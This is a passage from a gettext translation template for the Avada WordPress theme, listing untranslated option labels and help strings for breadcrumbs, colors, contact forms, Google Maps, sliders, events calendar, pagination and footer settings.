Separator Color" msgstr "" #: includes/options/breadcrumbs.php:203 msgid "" "Controls the separator color of the breadcrumbs. Leave empty to use the " "text color above." msgstr "" #: includes/options/breadcrumbs.php:216 msgid "Post Categories/Terms on Breadcrumbs" msgstr "" #: includes/options/breadcrumbs.php:217 msgid "Turn on to display the post categories/terms in the breadcrumbs path." msgstr "" #: includes/options/breadcrumbs.php:232 msgid "Post Type Archives on Breadcrumbs" msgstr "" #: includes/options/breadcrumbs.php:233 msgid "Turn on to display post type archives in the breadcrumbs path." msgstr "" #: includes/options/breadcrumbs.php:248 msgid "Post Name on Breadcrumbs" msgstr "" #: includes/options/breadcrumbs.php:249 msgid "Turn on to display the post name in the breadcrumbs path." msgstr "" #: includes/options/colors.php:35 msgid "" "IMPORTANT NOTE: This tab contains general color options. " "Additional color options for specific areas, can be found within other " "tabs. Example: For menu color options go to the menu tab." msgstr "" #: includes/options/colors.php:41 msgid "Color Palette" msgstr "" #: includes/options/colors.php:42 msgid "" "Set your global color palette. The colors defined here can be used from " "other global options, from page options and element options. For best " "results, the 8 colors of the core palette should be set from lightest to " "darkest. IMPORTANT NOTE: If a global color that is used by " "other options gets deleted, these corresponding options will display a " "default color instead. Colors are internally stored with a fixed counter. " "Thus, adding a new color after deleting an old one, will set the same " "internal name to the new color." msgstr "" #: includes/options/colors.php:48 msgid "Primary Color" msgstr "" #: includes/options/colors.php:49 msgid "Controls the main highlight color throughout the website." msgstr "" #: includes/options/contact.php:42 includes/options/contact.php:50 msgid "Contact Template" msgstr "" #: includes/options/contact.php:58 msgid "" "IMPORTANT NOTE: The options on this tab are only for the " "contact form that displays on the \"Contact\" page template." msgstr "" #: includes/options/contact.php:64 msgid "" "Enter the email address the form should be sent to. This only works for the " "form on the contact page template." msgstr "" #: includes/options/contact.php:72 msgid "Contact Form Comment Area Position" msgstr "" #: includes/options/contact.php:73 msgid "Controls the position of the comment field with respect to the other fields." msgstr "" #: includes/options/contact.php:85 msgid "Edit Contact Form" msgstr "" #: includes/options/contact.php:94 msgid "Display Data Privacy Confirmation Box" msgstr "" #: includes/options/contact.php:95 msgid "" "Turn on to display a checkbox and custom label that has to be checked in " "order to confirm data privacy terms and that the form can be sent." msgstr "" #: includes/options/contact.php:102 msgid "Data Privacy Checkbox Label" msgstr "" #: includes/options/contact.php:103 msgid "" "Enter the contents that should be displayed as label for the data privacy " "checkbox. Can contain HTML." msgstr "" #: includes/options/contact.php:105 msgid "" "By checking this box, you confirm that you have read and are agreeing to " "our terms of use regarding the storage of the data submitted through this " "form." msgstr "" #: includes/options/contact.php:125 includes/options/contact.php:128 msgid "Google Map" msgstr "" #: includes/options/contact.php:134 includes/options/contact.php:479 msgid "" "IMPORTANT NOTE: Google Maps Script is disabled in Advanced " "> Theme Features section. Please enable it to see the options." msgstr "" #: includes/options/contact.php:148 msgid "" "IMPORTANT NOTE: The options on this tab are for the google " "map that displays on the \"Contact\" page template. The only option that " "controls the Avada Builder google map element is the Google Maps API Key." msgstr "" #: includes/options/contact.php:161 msgid "Google Maps API Key" msgstr "" #: includes/options/contact.php:163 #. translators: "the Google docs" link. msgid "" "Follow the steps in %s to get the API key. This key applies to both the " "contact page map and Avada Builder google map element." msgstr "" #: includes/options/contact.php:163 msgid "the Google docs" msgstr "" #: includes/options/contact.php:178 msgid "Google API Type" msgstr "" #: includes/options/contact.php:180 #. translators: "the Google Maps Users Guide" link. msgid "" "Select the Google API type that should be used to load your map. The " "JavaScript API allows for more options and custom styling, but could be " "charged for by Google depending on map loads, while the embed API can be " "used for free regardless of map loads. For more information please see the " "Google Maps Users Guide." msgstr "" #: includes/options/contact.php:185 msgid "JS API" msgstr "" #: includes/options/contact.php:186 msgid "Embed API" msgstr "" #: includes/options/contact.php:192 msgid "Edit Google Map" msgstr "" #: includes/options/contact.php:201 msgid "Address" msgstr "" #: includes/options/contact.php:202 msgid "" "Add the address of the location you wish to display. Leave empty, if you " "don't want to display a map on the contact page. Address example: 775 New " "York Ave, Brooklyn, Kings, New York 11203. If the location is off, please " "try to use long/lat coordinates. ex: 12.381068,-1.492711." msgstr "" #: includes/options/contact.php:216 msgid "Map Type" msgstr "" #: includes/options/contact.php:217 msgid "Select the type of google map to display." msgstr "" #: includes/options/contact.php:222 includes/options/contact.php:261 msgid "Roadmap" msgstr "" #: includes/options/contact.php:223 includes/options/contact.php:262 msgid "Satellite" msgstr "" #: includes/options/contact.php:235 msgid "Google Map Address" msgstr "" #: includes/options/contact.php:236 msgid "" "Add the address to the location you wish to display. Leave empty, if you " "don't want to display a map on the contact page. Single address example: " "775 New York Ave, Brooklyn, Kings, New York 11203. If the location is off, " "please try to use long/lat coordinates with latlng=. ex: " "latlng=12.381068,-1.492711. For multiple addresses, separate addresses by " "using the | symbol. ex: Address 1|Address 2|Address 3." msgstr "" #: includes/options/contact.php:255 msgid "Google Map Type" msgstr "" #: includes/options/contact.php:256 msgid "Controls the type of google map that displays." msgstr "" #: includes/options/contact.php:263 msgid "Hybrid" msgstr "" #: includes/options/contact.php:264 msgid "Terrain" msgstr "" #: includes/options/contact.php:281 msgid "Google Map Dimensions" msgstr "" #: includes/options/contact.php:282 msgid "" "Controls the width and height of the google map. NOTE: height does not " "accept percentage value." msgstr "" #: includes/options/contact.php:300 msgid "Google Map Top Margin" msgstr "" #: includes/options/contact.php:301 msgid "" "This is only applied to google maps that are not 100% width. It controls " "the distance to menu/page title." msgstr "" #: includes/options/contact.php:329 msgid "Map Zoom Level" msgstr "" #: includes/options/contact.php:330 msgid "" "Choose the zoom level for the map. 0 corresponds to a map of the earth " "fully zoomed out, and larger zoom levels zoom in at a higher resolution." msgstr "" #: includes/options/contact.php:349 msgid "Address Pin" msgstr "" #: includes/options/contact.php:350 msgid "Turn on to display the google map address pin." msgstr "" #: includes/options/contact.php:369 msgid "Address Pin Animation" msgstr "" #: includes/options/contact.php:370 msgid "Turn on to enable address pin animation when the map first loads." msgstr "" #: includes/options/contact.php:389 msgid "Map Popup On Click" msgstr "" #: includes/options/contact.php:390 msgid "" "Turn on to require a click to display the popup graphic with address info " "for the pin on the map." msgstr "" #: includes/options/contact.php:409 msgid "Map Zoom With Scrollwheel" msgstr "" #: includes/options/contact.php:410 msgid "" "Turn on to enable zooming using the mouse scroll wheel. Use Cmd/Ctrl key + " "scroll to zoom. If set to no, zooming through two-finger movements " "(cooperative gesture handling) will be enabled." msgstr "" #: includes/options/contact.php:429 msgid "Map Scale" msgstr "" #: includes/options/contact.php:430 msgid "Turn on to display the google map scale." msgstr "" #: includes/options/contact.php:449 msgid "Map Zoom Control Icons" msgstr "" #: includes/options/contact.php:450 msgid "Turn on to display the google map zoom control icons." msgstr "" #: includes/options/contact.php:471 msgid "Google Map Styling" msgstr "" #: includes/options/contact.php:493 msgid "" "IMPORTANT NOTE: The options on this tab are only for the " "google map that displays on the \"Contact\" page template, they do not " "control the google map element. These options are only available for the " "JS API type." msgstr "" #: includes/options/contact.php:505 msgid "Select the Map Styling" msgstr "" #: includes/options/contact.php:506 msgid "" "Controls the google map styles. Default is google style, Theme is our " "style, or choose Custom to select your own style options below." msgstr "" #: includes/options/contact.php:511 msgid "Default Styling" msgstr "" #: includes/options/contact.php:512 msgid "Theme Styling" msgstr "" #: includes/options/contact.php:513 msgid "Custom Styling" msgstr "" #: includes/options/contact.php:530 msgid "Map Overlay Color" msgstr "" #: includes/options/contact.php:531 msgid "" "Custom styling setting only. Pick any overlaying color for the map besides " "pure black or white. Works best with \"roadmap\" type." msgstr "" #: includes/options/contact.php:555 msgid "Info Box Styling" msgstr "" #: includes/options/contact.php:556 msgid "Custom styling setting only. Controls the styling of the info box." msgstr "" #: includes/options/contact.php:561 msgid "Default Infobox" msgstr "" #: includes/options/contact.php:562 msgid "Custom Infobox" msgstr "" #: includes/options/contact.php:584 msgid "Info Box Content" msgstr "" #: includes/options/contact.php:585 msgid "" "Custom styling setting only. Type in custom info box content to replace the " "default address string. For multiple addresses, separate info box contents " "by using the | symbol. ex: InfoBox 1|InfoBox 2|InfoBox 3" msgstr "" #: includes/options/contact.php:609 msgid "Info Box Background Color" msgstr "" #: includes/options/contact.php:610 msgid "Custom styling setting only. Controls the info box background color." msgstr "" #: includes/options/contact.php:639 msgid "Info Box Text Color" msgstr "" #: includes/options/contact.php:640 msgid "Custom styling setting only. Controls the info box text color." msgstr "" #: includes/options/contact.php:669 msgid "Custom Marker Icon" msgstr "" #: includes/options/contact.php:670 msgid "" "Custom styling setting only. Use full image urls for custom marker icons or " "input \"theme\" for our custom marker. For multiple addresses, separate " "icons by using the | symbol or use one for all. ex: Icon 1|Icon 2|Icon 3" msgstr "" #: includes/options/elastic_slider.php:35 msgid "" "IMPORTANT NOTE: Elastic Slider is disabled in Advanced > " "Post Types section. Please enable it to see the options." msgstr "" #: includes/options/elastic_slider.php:47 msgid "Elastic Slider Dimensions" msgstr "" #: includes/options/elastic_slider.php:48 msgid "Controls the width and height for the elastic slider." msgstr "" #: includes/options/elastic_slider.php:77 msgid "Animation Type" msgstr "" #: includes/options/elastic_slider.php:78 msgid "Controls if the elastic slides animate from the sides or center." msgstr "" #: includes/options/elastic_slider.php:83 msgid "Sides" msgstr "" #: includes/options/elastic_slider.php:113 includes/options/slideshows.php:46 msgid "Autoplay" msgstr "" #: includes/options/elastic_slider.php:114 msgid "Turn on to autoplay the elastic slides." msgstr "" #: includes/options/elastic_slider.php:145 msgid "Slideshow Interval" msgstr "" #: includes/options/elastic_slider.php:146 msgid "Controls how long each elastic slide is visible. ex: 1000 = 1 second." msgstr "" #: includes/options/elastic_slider.php:182 msgid "Sliding Speed" msgstr "" #: includes/options/elastic_slider.php:183 msgid "Controls the speed of the elastic slider slideshow. ex: 1000 = 1 second." msgstr "" #: includes/options/elastic_slider.php:219 msgid "Thumbnail Width" msgstr "" #: includes/options/elastic_slider.php:220 msgid "Controls the width of the elastic slider thumbnail images." msgstr "" #: includes/options/elastic_slider.php:257 msgid "Title Font Size" msgstr "" #: includes/options/elastic_slider.php:258 msgid "Controls the font size for elastic slider title." msgstr "" #: includes/options/elastic_slider.php:278 msgid "Controls the font size for elastic slider caption." msgstr "" #: includes/options/elastic_slider.php:296 msgid "Title Color" msgstr "" #: includes/options/elastic_slider.php:297 msgid "Controls the color of the elastic slider title." msgstr "" #: includes/options/elastic_slider.php:318 msgid "Controls the color of the elastic slider caption." msgstr "" #: includes/options/events_calendar.php:44 msgid "General Events Calendar" msgstr "" #: includes/options/events_calendar.php:53 msgid "Display Events Page Title" msgstr "" #: includes/options/events_calendar.php:54 msgid "" "Controls if the native page title for events calendar archive pages should " "be displayed above or below the filter bar, or if it should be disabled." msgstr "" #: includes/options/events_calendar.php:64 msgid "Events Primary Color Overlay Text Color" msgstr "" #: includes/options/events_calendar.php:65 msgid "Controls the color of text when primary color is the background." msgstr "" #: includes/options/events_calendar.php:77 msgid "Events Filter Bar Background Color" msgstr "" #: includes/options/events_calendar.php:78 msgid "Controls the background color for the events calendar filter bar." msgstr "" #: includes/options/events_calendar.php:102 msgid "Event Filter Bar Text Color" msgstr "" #: includes/options/events_calendar.php:103 msgid "Controls the color of the event filter bar text." msgstr "" #: includes/options/events_calendar.php:115 msgid "Events Monthly Calendar Heading Background Color" msgstr "" #: includes/options/events_calendar.php:116 msgid "Controls the background color of the numbered heading in the calendar." msgstr "" #: includes/options/events_calendar.php:132 msgid "Events Monthly Calendar Background Color" msgstr "" #: includes/options/events_calendar.php:133 msgid "Controls the background color of each day in the calendar." msgstr "" #: includes/options/events_calendar.php:157 msgid "Events Popover/Drop-down Background Color" msgstr "" #: includes/options/events_calendar.php:158 msgid "Controls the color for the event popover/drop-down background." msgstr "" #: includes/options/events_calendar.php:170 msgid "Events Popover/Drop-down Background Hover Color" msgstr "" #: includes/options/events_calendar.php:171 msgid "Controls the hover color for the event popover/drop-down background." msgstr "" #: includes/options/events_calendar.php:183 msgid "Events Popover/Drop-down Body Text Color" msgstr "" #: includes/options/events_calendar.php:184 msgid "Controls the color of the popover/drop-down text." msgstr "" #: includes/options/events_calendar.php:196 msgid "Events Border Color" msgstr "" #: includes/options/events_calendar.php:197 msgid "Controls the various border colors around the calendar." msgstr "" #: includes/options/events_calendar.php:213 msgid "Events Featured Image Hover Type" msgstr "" #: includes/options/events_calendar.php:214 msgid "Controls the hover type for event featured images." msgstr "" #: includes/options/events_calendar.php:221 msgid "Zoom Out" msgstr "" #: includes/options/events_calendar.php:236 msgid "Events Image Background Size For List View" msgstr "" #: includes/options/events_calendar.php:237 msgid "" "Controls if the image is set to auto or covered for list view layout. All " "other layouts use auto." msgstr "" #: includes/options/events_calendar.php:247 msgid "Events Separator Heading Font Size" msgstr "" #: includes/options/events_calendar.php:248 msgid "" "Controls the font size of the month and day separator headings on events " "archive pages." msgstr "" #: includes/options/events_calendar.php:261 msgid "Events Single Posts" msgstr "" #: includes/options/events_calendar.php:266 msgid "Display All Events Link" msgstr "" #: includes/options/events_calendar.php:267 msgid "Turn on to display the link back to the main event page." msgstr "" #: includes/options/events_calendar.php:273 msgid "Display Featured Image & Title" msgstr "" #: includes/options/events_calendar.php:274 msgid "Turn on to display the featured image and title on single event posts." msgstr "" #: includes/options/events_calendar.php:280 msgid "Events Social Sharing Box" msgstr "" #: includes/options/events_calendar.php:281 msgid "Turn on to display the social sharing box on single event posts." msgstr "" #: includes/options/events_calendar.php:295 msgid "Events Single Post Meta Layout" msgstr "" #: includes/options/events_calendar.php:296 msgid "Sets the layout of the single events meta data." msgstr "" #: includes/options/events_calendar.php:301 msgid "Below Content" msgstr "" #: includes/options/events_calendar.php:306 msgid "Events Single Sidebar Layout" msgstr "" #: includes/options/events_calendar.php:312 msgid "Events Single Sidebar Width" msgstr "" #: includes/options/events_calendar.php:325 msgid "Events Dual Sidebar Layout" msgstr "" #: includes/options/events_calendar.php:331 msgid "Events Dual Sidebar Width 1" msgstr "" #: includes/options/events_calendar.php:344 msgid "Events Dual Sidebar Width 2" msgstr "" #: includes/options/events_calendar.php:357 msgid "Events Single Post Sidebar / Meta Content Styling" msgstr "" #: includes/options/events_calendar.php:363 msgid "Events Sidebar / Meta Content Background Color" msgstr "" #: includes/options/events_calendar.php:364 msgid "" "Controls the background color of the single event post sidebar(s) / meta " "content." msgstr "" #: includes/options/events_calendar.php:376 msgid "Events Sidebar / Meta Content Padding" msgstr "" #: includes/options/events_calendar.php:377 msgid "Controls the padding for the single event post sidebar(s) / meta content." msgstr "" #: includes/options/events_calendar.php:393 msgid "Events Sidebar Widget / Meta Content Heading Font Size" msgstr "" #: includes/options/events_calendar.php:394 msgid "" "Controls the size of the sidebar widget / meta content heading for single " "event posts." msgstr "" #: includes/options/events_calendar.php:405 msgid "Events Sidebar Widget / Meta Content Title Background Color" msgstr "" #: includes/options/events_calendar.php:406 msgid "" "Controls the background color of the sidebar widget / meta content title " "for single event posts." msgstr "" #: includes/options/events_calendar.php:428 msgid "Events Sidebar Widget / Meta Content Headings Color" msgstr "" #: includes/options/events_calendar.php:429 msgid "" "Controls the color of the sidebar widget / meta content heading for single " "event posts." msgstr "" #: includes/options/events_calendar.php:441 msgid "Events Sidebar / Meta Content Text Font Size" msgstr "" #: includes/options/events_calendar.php:442 msgid "" "Controls the size of the text in the single event post sidebar / meta " "content." msgstr "" #: includes/options/events_calendar.php:459 msgid "Events Sidebar / Meta Content Text Color" msgstr "" #: includes/options/events_calendar.php:460 msgid "" "Controls the color of the text in the single event post sidebar / meta " "content." msgstr "" #: includes/options/events_calendar.php:472 msgid "Events Sidebar / Meta Content Link Color" msgstr "" #: includes/options/events_calendar.php:473 msgid "" "Controls the color of the link text in the single event post sidebar / meta " "content." msgstr "" #: includes/options/events_calendar.php:485 msgid "Events Sidebar / Meta Content Divider Color" msgstr "" #: includes/options/events_calendar.php:486 msgid "" "Controls the color of the dividers in the single event post sidebar / meta " "content." msgstr "" #: includes/options/extra.php:36 msgid "Extras" msgstr "" #: includes/options/extra.php:43 msgid "Miscellaneous" msgstr "" #: includes/options/extra.php:50 msgid "Image Placeholders" msgstr "" #: includes/options/extra.php:51 msgid "" "Turn on to display a placeholder image for posts that do not have a " "featured image. This allows the post to display on portfolio archives and " "related posts/projects carousels." msgstr "" #: includes/options/extra.php:67 msgid "Basis for Excerpt Length" msgstr "" #: includes/options/extra.php:68 msgid "Controls if the excerpt length is based on words or characters." msgstr "" #: includes/options/extra.php:73 msgid "Words" msgstr "" #: includes/options/extra.php:74 msgid "Characters" msgstr "" #: includes/options/extra.php:78 msgid "Display Excerpt Read More Symbol" msgstr "" #: includes/options/extra.php:79 msgid "Turn on to display the read more symbol on excerpts throughout the site." msgstr "" #: includes/options/extra.php:85 msgid "Excerpt Read More Symbol" msgstr "" #: includes/options/extra.php:86 msgid "" "Set the excerpt read more symbol, HTML code is allowed. If left empty it " "will be set to [...]." msgstr "" #: includes/options/extra.php:99 msgid "Make Excerpt Symbol Link to Single Post Page" msgstr "" #: includes/options/extra.php:100 msgid "" "Turn on to have the read more symbol on excerpts link to the single post " "page." msgstr "" #: includes/options/extra.php:113 msgid "Avatar Shape" msgstr "" #: includes/options/extra.php:114 msgid "Set the shape for Avatars used in comments, author info and other areas." msgstr "" #: includes/options/extra.php:119 msgid "Square" msgstr "" #: includes/options/extra.php:120 includes/options/sliding_bar.php:426 #: includes/options/woocommerce.php:900 includes/options/woocommerce.php:1122 msgid "Circle" msgstr "" #: includes/options/extra.php:134 msgid "Comments on Pages" msgstr "" #: includes/options/extra.php:135 msgid "Turn on to allow comments on regular pages." msgstr "" #: includes/options/extra.php:141 msgid "Featured Images on Pages" msgstr "" #: includes/options/extra.php:142 msgid "Turn on to display featured images on regular pages." msgstr "" #: includes/options/extra.php:156 msgid "Add \"nofollow\" to social links" msgstr "" #: includes/options/extra.php:157 msgid "Turn on to add \"nofollow\" attribute to all social links." msgstr "" #: includes/options/extra.php:165 msgid "Open Social Icons in a New Window" msgstr "" #: includes/options/extra.php:166 msgid "Turn on to allow social icons to open in a new window." msgstr "" #: includes/options/extra.php:174 msgid "Custom Scrollbar" msgstr "" #: includes/options/extra.php:175 msgid "" "Turn on if you want to change the background and handle color of the " "scrollbar. Styling and support varies depending on the browser." msgstr "" #: includes/options/extra.php:197 msgid "Scrollbar Background" msgstr "" #: includes/options/extra.php:198 msgid "Controls the background color for the scrollbar." msgstr "" #: includes/options/extra.php:218 msgid "Controls the color for the scrollbar handle." msgstr "" #: includes/options/extra.php:237 msgid "FAQ Slug" msgstr "" #: includes/options/extra.php:238 includes/options/portfolio.php:479 msgid "" "The slug name cannot be the same name as a page name or the layout will " "break. This option changes the permalink when you use the permalink type as " "%postname%. Make sure to regenerate permalinks." msgstr "" #: includes/options/extra.php:244 msgid "FAQ Include Permalink Front Base" msgstr "" #: includes/options/extra.php:245 includes/options/portfolio.php:486 msgid "" "Turn on to include the front base defined by the permalink structure set in " "Settings > Permalinks. Make sure to regenerate permalinks." msgstr "" #: includes/options/extra.php:251 msgid "Enable Cloning Pages/Posts" msgstr "" #: includes/options/extra.php:252 msgid "" "Adds a button in posts/pages view under each item to allow an easy and fast " "way to clone the item. The button is also added to avada custom post types." msgstr "" #: includes/options/extra.php:262 msgid "Related Posts / Projects" msgstr "" #: includes/options/extra.php:268 msgid "Related Posts / Projects Layout" msgstr "" #: includes/options/extra.php:269 msgid "Controls the layout style for related posts and related projects." msgstr "" #: includes/options/extra.php:274 msgid "Title on rollover" msgstr "" #: includes/options/extra.php:275 msgid "Title below image" msgstr "" #: includes/options/extra.php:288 msgid "Number of Related Posts / Projects" msgstr "" #: includes/options/extra.php:289 msgid "" "Controls the number of related posts and projects that display on a single " "post." msgstr "" #: includes/options/extra.php:309 msgid "Related Posts / Projects Maximum Columns" msgstr "" #: includes/options/extra.php:310 msgid "Controls the number of columns for the related posts and projects layout." msgstr "" #: includes/options/extra.php:335 msgid "Related Posts / Projects Column Spacing" msgstr "" #: includes/options/extra.php:336 msgid "" "Controls the amount of spacing between columns for the related posts and " "projects." msgstr "" #: includes/options/extra.php:363 msgid "Related Posts / Projects Image Size" msgstr "" #: includes/options/extra.php:364 msgid "" "Controls if the featured image size is fixed (cropped) or auto (full image " "ratio) for related posts and projects. IMPORTANT: Fixed works best with a " "standard 940px site width. Auto works best with larger site widths." msgstr "" #: includes/options/extra.php:369 includes/options/portfolio.php:77 msgid "Fixed" msgstr "" #: includes/options/extra.php:383 msgid "Related Posts / Projects Autoplay" msgstr "" #: includes/options/extra.php:384 msgid "Turn on to autoplay the related posts and project carousel." msgstr "" #: includes/options/extra.php:399 msgid "Related Posts / Projects Speed" msgstr "" #: includes/options/extra.php:400 msgid "" "Controls the speed of related posts and project carousel. ex: 1000 = 1 " "second." msgstr "" #: includes/options/extra.php:428 msgid "Related Posts / Projects Show Navigation" msgstr "" #: includes/options/extra.php:429 msgid "Turn on to display navigation arrows on the carousel." msgstr "" #: includes/options/extra.php:444 msgid "Related Posts / Projects Mouse Scroll" msgstr "" #: includes/options/extra.php:445 msgid "Turn on to enable mouse drag control on the carousel." msgstr "" #: includes/options/extra.php:460 msgid "Related Posts / Projects Scroll Items" msgstr "" #: includes/options/extra.php:461 msgid "" "Controls the number of items that scroll at one time. Set to 0 to scroll " "the number of visible items." msgstr "" #: includes/options/extra.php:483 msgid "Featured Image Rollover" msgstr "" #: includes/options/extra.php:489 msgid "Image Rollover" msgstr "" #: includes/options/extra.php:490 msgid "" "Turn on to display the rollover graphic on blog and portfolio featured " "images." msgstr "" #: includes/options/extra.php:502 msgid "Image Rollover Direction" msgstr "" #: includes/options/extra.php:503 msgid "Controls the direction the rollover starts from." msgstr "" #: includes/options/extra.php:513 msgid "Center Horizontal" msgstr "" #: includes/options/extra.php:514 msgid "Center Vertical" msgstr "" #: includes/options/extra.php:529 msgid "Image Rollover Icon Font Size" msgstr "" #: includes/options/extra.php:530 msgid "Controls the size of the rollover icons." msgstr "" #: includes/options/extra.php:549 msgid "Choose which icons display." msgstr "" #: includes/options/extra.php:574 msgid "Image Rollover Title" msgstr "" #: includes/options/extra.php:575 msgid "Turn on to display the post title in the image rollover." msgstr "" #: includes/options/extra.php:588 msgid "Image Rollover Categories" msgstr "" #: includes/options/extra.php:589 msgid "Turn on to display the post categories in the image rollover." msgstr "" #: includes/options/extra.php:602 msgid "Image Rollover Icon Circle" msgstr "" #: includes/options/extra.php:603 msgid "Turn on to display the icon background circle in the image rollover." msgstr "" #: includes/options/extra.php:638 msgid "Image Rollover Gradient Top Color" msgstr "" #: includes/options/extra.php:639 msgid "Controls the top color of the image rollover background." msgstr "" #: includes/options/extra.php:653 msgid "Image Rollover Gradient Bottom Color" msgstr "" #: includes/options/extra.php:654 msgid "Controls the bottom color of the image rollover background." msgstr "" #: includes/options/extra.php:668 msgid "Image Rollover Element Color" msgstr "" #: includes/options/extra.php:669 msgid "Controls the color of image rollover text and icon circular backgrounds." msgstr "" #: includes/options/extra.php:682 msgid "Image Rollover Icon Color" msgstr "" #: includes/options/extra.php:683 msgid "Controls the color of the icons in the image rollover." msgstr "" #: includes/options/extra.php:706 msgid "" "IMPORTANT NOTE: The options on this tab apply to all " "pagination throughout the site, including the 3rd party plugins that Avada " "has design integration with." msgstr "" #: includes/options/extra.php:712 msgid "Pagination Sizing" msgstr "" #: includes/options/extra.php:713 msgid "Set on which dimension the pagination box size should be based." msgstr "" #: includes/options/extra.php:717 msgid "Width/Height Based" msgstr "" #: includes/options/extra.php:718 msgid "Padding Based" msgstr "" #: includes/options/extra.php:732 msgid "Pagination Box Width/Height" msgstr "" #: includes/options/extra.php:733 msgid "Controls the width and height of the displayed page links." msgstr "" #: includes/options/extra.php:757 msgid "Pagination Box Padding" msgstr "" #: includes/options/extra.php:758 msgid "Controls the padding inside the pagination boxes." msgstr "" #: includes/options/extra.php:785 msgid "Pagination Border Width" msgstr "" #: includes/options/extra.php:786 msgid "Controls the border width of the displayed page links." msgstr "" #: includes/options/extra.php:803 msgid "Pagination Border Radius" msgstr "" #: includes/options/extra.php:804 msgid "" "Controls the border radius of the displayed page links. Values of half the " "overall width or higher will yield circular links." msgstr "" #: includes/options/extra.php:821 msgid "Pagination Text Display" msgstr "" #: includes/options/extra.php:822 msgid "Turn on to display the \"Previous/Next\" text." msgstr "" #: includes/options/extra.php:843 msgid "Pagination Font Size" msgstr "" #: includes/options/extra.php:844 msgid "Controls the size of the pagination text." msgstr "" #: includes/options/extra.php:855 msgid "Pagination Range" msgstr "" #: includes/options/extra.php:856 msgid "Controls the number of page links displayed left and right of current page." msgstr "" #: includes/options/extra.php:873 msgid "Pagination Start / End Range" msgstr "" #: includes/options/extra.php:874 msgid "" "Controls the number of page links displayed at the start and at the end of " "pagination." msgstr "" #: includes/options/extra.php:893 msgid "Grid / Masonry" msgstr "" #: includes/options/extra.php:900 msgid "" "IMPORTANT NOTE: These are Grid Box Styling global options " "that apply to grid boxes throughout the site; blog grid and timeline, " "portfolio boxed layout and WooCommerce boxes. Blog / Portfolio elements " "also have options to override these." msgstr "" #: includes/options/extra.php:905 msgid "Grid Box Color" msgstr "" #: includes/options/extra.php:906 msgid "Controls the background color for the grid boxes." msgstr "" #: includes/options/extra.php:932 msgid "Grid Element Color" msgstr "" #: includes/options/extra.php:933 msgid "" "Controls the color of borders/date box/timeline dots and arrows for the " "grid boxes." msgstr "" #: includes/options/extra.php:960 msgid "Grid Separator Style" msgstr "" #: includes/options/extra.php:961 msgid "" "Controls the line style of grid separators. NOTE: For blog " "and portfolio grids at least one meta data field must be enabled and " "excerpt or full content must be shown in order that the separator will be " "displayed." msgstr "" #: includes/options/extra.php:966 includes/options/typography.php:351 #: includes/options/typography.php:474 msgid "No Style" msgstr "" #: includes/options/extra.php:967 msgid "Single Border Solid" msgstr "" #: includes/options/extra.php:968 msgid "Double Border Solid" msgstr "" #: includes/options/extra.php:969 msgid "Single Border Dashed" msgstr "" #: includes/options/extra.php:970 msgid "Double Border Dashed" msgstr "" #: includes/options/extra.php:971 msgid "Single Border Dotted" msgstr "" #: includes/options/extra.php:972 msgid "Double Border Dotted" msgstr "" #: includes/options/extra.php:973 msgid "Shadow" msgstr "" #: includes/options/extra.php:987 msgid "Grid Separator Color" msgstr "" #: includes/options/extra.php:988 msgid "Controls the line style color of grid separators." msgstr "" #: includes/options/extra.php:1015 msgid "Masonry Options" msgstr "" #: includes/options/extra.php:1022 msgid "" "IMPORTANT NOTE: These are Masonry global options that " "apply to the Blog / Portfolio / Gallery elements in addition to Blog and " "Portfolio archives. Blog / Portfolio / Gallery elements also have options " "to override these." msgstr "" #: includes/options/extra.php:1027 msgid "Masonry Image Aspect Ratio" msgstr "" #: includes/options/extra.php:1028 msgid "" "Set the ratio to decide when an image should become landscape (ratio being " "width : height) and portrait (ratio being height : width). " "IMPORTANT: The value of \"1.0\" represents a special case, " "which will use the auto calculated ratios like in versions prior to Avada " "5.5." msgstr "" #: includes/options/extra.php:1045 msgid "Masonry 2x2 Width" msgstr "" #: includes/options/extra.php:1046 msgid "" "This option decides when a square 1x1 image should become 2x2. This will " "not apply to images that highly favor landscape or portrait layouts. " "IMPORTANT: There is a “Masonry Image Layout” setting for " "every image in the WP media library that allows you to manually set how an " "image will appear (1x1, landscape, portrait or 2x2), regardless of the " "original ratio." msgstr "" #: includes/options/extra.php:1065 msgid "ToTop" msgstr "" #: includes/options/extra.php:1071 msgid "ToTop Script" msgstr "" #: includes/options/extra.php:1072 msgid "" "Turn on to enable the ToTop script which adds the scrolling to top " "functionality." msgstr "" #: includes/options/extra.php:1077 msgid "Desktop & Mobile" msgstr "" #: includes/options/extra.php:1112 msgid "ToTop Button Position" msgstr "" #: includes/options/extra.php:1113 msgid "" "Controls the position of the ToTop button. On mobiles also non-floating " "layouts will be floating." msgstr "" #: includes/options/extra.php:1119 msgid "Left Floating" msgstr "" #: includes/options/extra.php:1121 msgid "Right Floating" msgstr "" #: includes/options/extra.php:1149 msgid "ToTop Border Radius" msgstr "" #: includes/options/extra.php:1150 msgid "" "Controls the border radius of the ToTop button. For non-floating layouts " "the border radius will only apply to the upper corners." msgstr "" #: includes/options/extra.php:1175 msgid "ToTop Background" msgstr "" #: includes/options/extra.php:1176 msgid "Controls the background color of the ToTop button." msgstr "" #: includes/options/extra.php:1196 msgid "ToTop Background Hover Color" msgstr "" #: includes/options/extra.php:1197 msgid "Controls the background hover color of the ToTop button." msgstr "" #: includes/options/extra.php:1217 msgid "ToTop Icon Color" msgstr "" #: includes/options/extra.php:1218 msgid "Controls the icon color color of the ToTop button." msgstr "" #: includes/options/extra.php:1238 msgid "ToTop Icon Hover Color" msgstr "" #: includes/options/extra.php:1239 msgid "Controls the icon hover color of the ToTop button." msgstr "" #: includes/options/extra.php:1259 msgid "ToTop Show Scroll Progress" msgstr "" #: includes/options/extra.php:1260 msgid "Turn on to show the page scroll progress within the ToTop Button." msgstr "" #: includes/options/extra.php:1299 msgid "ToTop Show on Scroll Down Only" msgstr "" #: includes/options/extra.php:1300 msgid "" "Turn on to show the ToTop button on scroll down only. Otherwise it will " "always show if the page is scrolled." msgstr "" #: includes/options/footer.php:60 msgid "Footer Content" msgstr "" #: includes/options/footer.php:71 includes/options/footer.php:362 #: includes/options/footer.php:495 includes/options/header.php:118 #: includes/options/header.php:653 includes/options/header.php:856 #: includes/options/header.php:1264 includes/options/menu.php:114 #: includes/options/page_title_bar.php:57 includes/options/social_media.php:229 #: includes/options/social_media.php:460 #. translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection #. URL. msgid "" "IMPORTANT NOTE: For more flexibility and a modern, more " "performant setup, we recommend using the %1$s Builder to create a custom " "%1$s Layout. visit this page." msgstr "" #: includes/options/footer.php:78 msgid "Footer Widgets" msgstr "" #: includes/options/footer.php:79 msgid "Turn on to display footer widgets." 